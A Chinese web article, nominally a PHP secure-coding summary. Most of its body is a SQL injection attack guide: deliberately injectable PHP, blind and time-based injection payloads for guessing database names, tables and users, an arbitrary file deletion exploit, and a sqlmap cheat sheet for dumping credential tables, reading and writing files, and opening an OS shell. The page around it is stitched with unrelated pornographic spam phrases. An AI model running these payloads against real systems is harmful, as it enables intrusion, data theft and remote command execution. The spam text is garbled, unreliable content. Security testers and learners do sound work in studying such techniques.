gmnon.cn-疯狂蹂躏欧美一区二区精品,欧美精品久久久久a,高清在线视频日韩欧美,日韩免费av一区二区

站長資訊網
最全最豐富的資訊網站

PHP安全編碼總結(經驗分享)

本篇文章給大家帶來了關于PHP安全的相關知識,其中主要介紹了什么是SQL注入?盲注是怎么使用的?常用檢測命令有哪些等等,下面一起來看一下,希望對需要的朋友有所幫助。

PHP安全編碼總結(經驗分享)

PHP 安全編碼總結筆記

SQL注入: 代碼中的 HTTP_X_FORWARDED_FOR 地址可以被偽造,而REMOTE_ADDR則相對更安全,有些應用程序會將對方IP地址帶入數據庫查詢是否存在,例如同一個IP每天只能注冊一個賬號等,如果目標代碼中使用的是 HTTP_X_FORWARDED_FOR 獲取的IP地址,那么攻擊者就可以通過修改HTTP包頭實現SQL注入攻擊。

<?php function get_client_addr(){ if($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"],"unknown")){ $ip = $_SERVER["HTTP_CLIENT_IP"]; echo "HTTP_CLIENT_IP =" . $ip; }else if($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){ $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; echo "HTTP_X_FORWARDED_FOR =" . $ip; }else if($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){ $ip = $_SERVER["REMOTE_ADDR"]; echo "REMOTE_ADDR =" . $ip; }else{ $ip = "unknown"; } return $ip; } $addr = get_client_addr(); ?>
登錄后復制

SQL注入: 一種使用了過濾的代碼,接受的參數經過過濾,字符串會被過濾掉SQL注入的關鍵字,整數會被強制轉換為整數。

<?php $var = date_default_timezone_get(); echo "當前時區: " . $var . "<br>"; date_default_timezone_set("Asia/Shanghai");  if(!get_magic_quotes_gpc()){ $var = waf($_GET['id']); echo "過濾后的參數: " . $var; }  function waf($array){ if(is_array($array)){ foreach ($array as $key => $value) { $array [$key] = waf($value); } }else if(is_string($array)){ $array = addslashes($array); #$array = str_ireplace("and", "fuck", $array); $substr = array( "and" => "fuck you !", "where" => "fuck you !", "union" => "fuck you !", "select" => "fuck you !", "order" => "fuck you !", "update" => "fuck you !", "sleep" => "fuck you !", ); $array = str_ireplace(array_keys($substr), $substr,$array); }else if(is_numeric($array)){ $array = intval($array); } return $array; } ?>
登錄后復制

盲注的使用

首先需要簡單修改上方的源代碼,去掉回顯框,然后修改以下代碼.

<!DOCTYPE html> <html> <head>     <meta charset="gbk">     <title>SQL 注入測試代碼</title> </head>         <?php         $connect = mysqli_connect("localhost","root","123","lyshark");         if($connect)         {                 $id = $_GET['id'];                 if(isset($id))                 {                         $sql = "select * from users where id='$id' limit 0,1";                         $query = mysqli_query($connect,$sql);                         $row = mysqli_fetch_array($query);                         if(!empty($row))                         {                                 print("查詢完成了..");                         }else                         {                                 print("查詢失敗");                         }                 }         }         ?> <body>         <?php echo '<hr><b> 后端執行SQL語句:  </b>' . $sql;  ?> </body> </html>
登錄后復制

猜數據庫名稱: 盲注也就是程序會返回兩種狀態,查詢成功與查詢失敗,我們需要自己構建判斷條件,常用語句如下.

index.php?id=1' and left(version(),1)=5 --+            // 返回正常,說明版本號是5 index.php?id=1' and (length(database()))=7 --+         // 返回正常,說明數據庫名字長度是7  index.php?id=1' and (left(database(),1))='l' --+       // 返回正常,說明數據庫第一位是l index.php?id=1' and (left(database(),2))='ly' --+      // 返回正常,說明數據庫前兩位位是ly,以此類推  index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+  // 驗證第一位是否為l index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+  // 驗證第二位是否為y,以此類推
登錄后復制

猜表名:如果網頁返回正常,則說明存在這個表,返回不正常說明不存在.

index.php?id=1' and (select count(*) from mysql.user) >=0     // 存在mysql.user表 index.php?id=1' and (select count(*) from lyshark) >=0        // 存在lyshark表
登錄后復制

猜字段: 如果網頁返回正常,說明存在猜測的字段,不正常則需要繼續猜.

index.php?id=1' and (select count(id) from users) >=0       // 返回正常說明存在id字段 index.php?id=1' and (select count(name) from users) >=0     // 返回不正常不存在name字段 index.php?id=1' and (select count(*) from lyshark) >=3 #--   // 返回表中記錄數
登錄后復制

用戶名猜測: 通過正則符號也可使完成多指定用戶的探測,其他函數用法相同.

index.php?id=1' and (length(user())) >=14 #                // 猜測數據庫用戶名稱長度 index.php?id=1' and (select user() like 'root%') #         // 猜測用戶名 index.php?id=1' and (select user() regexp '^[a-z]') #      // 猜測開頭a-z index.php?id=1' and (select user() regexp '^r') #          // 第一位是r index.php?id=1' and (select user() regexp '^ro') #         // 第二位是o index.php?id=1' and (select user() regexp '^root') #       // 以此類推猜測前四位
登錄后復制

延時注入: 通過sleep(5)延時的方式,我們同樣可以判斷是否存在注入點.

index.php?id=1' and sleep(5) # index.php?id=1' and sleep(5) order by 3 #                       // 如果是3個字段,則會延時5秒 index.php?id=1' and select if(length(user())=0,sleep(3),1) #    //如果user=0則延時3秒 index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) #   // 第1個字符=d則延時3秒 index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) #   // 第2個字符=v則延時3秒
登錄后復制

◆sqlmap 命令◆

常用檢測命令:

sqlmap -u "./index.php?id=1" -v 3                   # 顯示攻擊載荷 sqlmap -u "./index.php?id=1" --level=3              # 指定探測級別 sqlmap -u "./index.php?id=1" --privileges           # 測試所有用戶權限 sqlmap -u "./index.php?id=1" --privileges root      # 測試root用戶權限 sqlmap -u "./index.php?id=1" --all                  # 查詢所有數據庫 sqlmap -u "./index.php?id=1" --hostname             # 查詢當前主機名 sqlmap -u "./index.php?id=1" --is-dba               # 判斷root權限 sqlmap -u "./index.php?id=1" --users                # 枚舉數據庫用戶 sqlmap -u "./index.php?id=1" --random-agent         # 隨機User-Agent sqlmap -u "./index.php?id=1" --output-dir=""        # 自定義輸出目錄 sqlmap -u "./index.php?id=1" --file-read=""         # 讀取文件 sqlmap -u "./index.php?id=1" --file-write=""        # 寫入操作 sqlmap -u "./index.php?id=1" --os-cmd="net user"    # 執行一條命令 sqlmap -u "./index.php?id=1" --os-shell             # 交互執行命令 sqlmap -u "./index.php?id=1" --sql-query=""         # 執行的SQL語句 sqlmap -u "./index.php?id=1" --cookie=""            # 指定cookie sqlmap -u "./index.php?id=1" --temper=""            # 指定過濾腳本 sqlmap -u "./index.php?id=1" --dbs --delay 1        # 延時1秒后注入 sqlmap -u "./index.php?id=1" --dbs --safe-freq 3    # 延時3秒后注入  sqlmap -u "./index.php?id=1" --identify-waf                  # 測試是否有WAF sqlmap -u "./index.php?id=1" --current-db                    # 查詢當前數據庫 sqlmap -u "./index.php?id=1" --current-user                  # 查詢當前主機名 sqlmap -u "./index.php?id=1" --users                         # 查詢所有用戶名 sqlmap -u "./index.php?id=1" --dbs                           # 列出所有數據庫 sqlmap -u "./index.php?id=1" --tables                        # 列出所有的表  sqlmap -u "./index.php?id=1" -D "mysql" --tables             # 獲取mysql庫中的表 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns  # 獲取mysql.host表列名稱 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump     # 將mysql.host保存到本地 sqlmap -u "./index.php?id=1" -D "mysql" --dump-all           # 全部脫褲 sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump
登錄后復制

Cookie注入: 當level>=2時,使用cookie注入,level >=3 使用User-agent/Referer注入.

sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2                        #判斷注入點 sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2                  #猜數據庫名 sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2               #猜表名稱 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2        #猜字段 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜內容
登錄后復制

POST注入: 該方法通常是使用抓包工具抓取數據包,然后指定字段進行測試即可.

1.瀏覽器打開目標地址 http://www.xxx.com/index.php

2.配置burp代理(127.0.0.1:8080) 準備攔截請求

3.點擊login表單的submit按鈕,或者其他按鈕均可

4.這時候Burp會攔截到了我們的登錄POST請求

5.把這個post請求復制為txt,記錄下其中的 id=1&Submit=Submit

sqlmap -r post.txt -p id --dbs Sqlmap -r post.txt -p id -D mysql --tables Sqlmap -r post.txt -p id -D mysql -T user --columns sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"
登錄后復制

其他漏洞利用

任意文件刪除: 執行刪除語句http://php.com/?dir=…..////&file=a.txt 完成漏洞利用.

<?php $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\', '../', './', '.\'), '', urldecode(trim($_GET['dir']))) : ''; $dir = str_replace("-", "/", $dir); $file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : ''; $path = "./" . $dir . "/" . $file; $path = str_replace(array("//"), array("/"), $path); echo "當前路徑是: " . $path . "<br>"; if (file_exists($path)) { if (unlink($path)) {     echo "刪除完成.."; } else {     echo "刪除失敗.."; } } ?>
登錄后復制

推薦學習:《PHP視頻教程》

贊(0)
分享到: 更多 (0)
?
網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
gmnon.cn-疯狂蹂躏欧美一区二区精品,欧美精品久久久久a,高清在线视频日韩欧美,日韩免费av一区二区
成年人黄色在线观看| 免费观看黄色大片| 欧美一级在线看| 男的插女的下面视频| 久久久天堂国产精品| 国产精品亚洲天堂| 国产成人强伦免费视频网站| 亚洲午夜精品一区| 制服丝袜中文字幕第一页 | www婷婷av久久久影片| 免费不卡av网站| 日本丰满大乳奶| a级免费在线观看| 亚洲国产精品久久久久婷蜜芽| 国产精品999视频| 中文字幕乱码人妻综合二区三区 | 一道本在线免费视频| 日韩一级免费在线观看| 一道本视频在线观看| 伊人成人222| 国产制服91一区二区三区制服| 国产片侵犯亲女视频播放| 黄色www网站| 丝袜制服一区二区三区| 男生操女生视频在线观看| 欧美日韩一级在线| 搞av.com| 国产精品h视频| 乱妇乱女熟妇熟女网站| 国产精品一区二区小说| 欧美中日韩在线| a在线观看免费视频| 不卡中文字幕在线| 熟女性饥渴一区二区三区| 日本精品一区在线| 亚洲人成无码网站久久99热国产| 777久久久精品一区二区三区| 亚洲欧美偷拍另类| 3d动漫一区二区三区| 999在线观看| 日本精品www| 欧美少妇在线观看| 爱情岛论坛vip永久入口| 一二三四中文字幕| 亚洲色图 在线视频| 久久久久久久久久久99| 久久99国产精品一区| 日韩一级片播放| 妞干网在线视频观看| 91蝌蚪视频在线| 男人天堂成人在线| 欧美色图色综合| 久久av综合网| 一区二区三区四区免费观看| www.se五月| 99草草国产熟女视频在线| av女优在线播放| 精品人妻大屁股白浆无码| 91pony九色| 99re精彩视频| 亚洲欧美在线精品| 国产精彩免费视频| 九热视频在线观看| 亚洲乱码国产一区三区| 久久久久免费精品| 992kp快乐看片永久免费网址| 99热在线这里只有精品| www.com毛片| 天天干天天干天天干天天干天天干| 黄色片视频在线播放| 精品免费国产一区二区| 国产日韩一区二区在线观看| 日韩在线一级片| 老头吃奶性行交视频| 国产喷水theporn| 欧美午夜精品理论片| 国产91av视频在线观看| 91成人在线视频观看| 国产欧美精品aaaaaa片| 欧美牲交a欧美牲交| av视屏在线播放| 天堂av手机在线| 黄色成人在线免费观看| 免费看日本毛片| 在线免费观看视频黄| 三级黄色片免费看| 日本熟妇人妻xxxx| 午夜dv内射一区二区| 日本精品一区在线| 丰满的少妇愉情hd高清果冻传媒 | 涩多多在线观看| 日本成人在线不卡| av动漫免费看| 99亚洲国产精品| 国产白丝袜美女久久久久| 黄色国产小视频| av磁力番号网| 熟女人妇 成熟妇女系列视频| 午夜剧场在线免费观看| 搞av.com| 超碰成人在线免费观看| 久久久噜噜噜www成人网| 91小视频网站| 好吊妞无缓冲视频观看| 中文字幕永久有效| 国产h视频在线播放| 亚洲免费999| 免费在线激情视频| 国产日韩视频在线播放| 国内外免费激情视频| 欧美狂野激情性xxxx在线观| 天美星空大象mv在线观看视频| www.xxx麻豆| 中文字幕一区二区三区四| 欧美v在线观看| 成人午夜视频免费观看| 色一情一区二区| 116极品美女午夜一级| av 日韩 人妻 黑人 综合 无码| 青青青国产在线视频| 久久久噜噜噜www成人网| 日韩视频 中文字幕| 九九热精品国产| 人人干人人视频| 日韩免费高清在线| 日韩av片在线看| 成人毛片视频网站| 六月婷婷在线视频| 国产精品国产对白熟妇| 99久久免费观看| 欧美乱大交xxxxx潮喷l头像| 中文字幕在线乱| 久久av高潮av| 国产精品国产三级国产专区51| 三级黄色片免费看| 日本三级福利片| 91视频 - 88av| 秋霞无码一区二区| 日日鲁鲁鲁夜夜爽爽狠狠视频97 | 国产aaa免费视频| 国产精品无码av在线播放| 成人性生活视频免费看| 自拍日韩亚洲一区在线| 久久这里只有精品23| 日本韩国欧美在线观看| 乱妇乱女熟妇熟女网站| 97视频在线免费播放| 91热这里只有精品| 天美一区二区三区| www.欧美黄色| 人妻熟妇乱又伦精品视频| 国产福利一区视频| 在线成人免费av| 色欲色香天天天综合网www| 少妇高潮喷水久久久久久久久久| 亚洲最大综合网| 欧美日韩dvd| 人人爽人人av| 今天免费高清在线观看国语| 2019日韩中文字幕mv| 免费午夜视频在线观看| 亚洲美女性囗交| 中国女人做爰视频| 美女黄色片视频| 女女百合国产免费网站| aaa毛片在线观看| 日本a在线天堂| 欧美精品久久久久久久久25p| 穿情趣内衣被c到高潮视频| 日韩精品视频一区二区在线观看| 久久6免费视频| 黄色片视频在线免费观看| 手机在线视频你懂的| 黄色三级视频片| 东北少妇不带套对白| 一起操在线视频| 十八禁视频网站在线观看| 欧美aaa在线观看| 无限资源日本好片| 国产精品一区二区免费在线观看| 午夜久久福利视频| 亚洲午夜无码av毛片久久| 丰满女人性猛交| 涩涩网站在线看| 青青青国产在线视频| 僵尸世界大战2 在线播放| 日本xxx免费| 在线免费看v片| 亚洲36d大奶网| 欧美精品性生活| 日本精品久久久久中文字幕| 国产综合中文字幕| 免费看欧美黑人毛片| 超碰97免费观看| 2021狠狠干| 日本一道在线观看| 欧美中日韩在线| 美女扒开大腿让男人桶| 日本人妻伦在线中文字幕| 欧美性受xxxx黑人猛交88|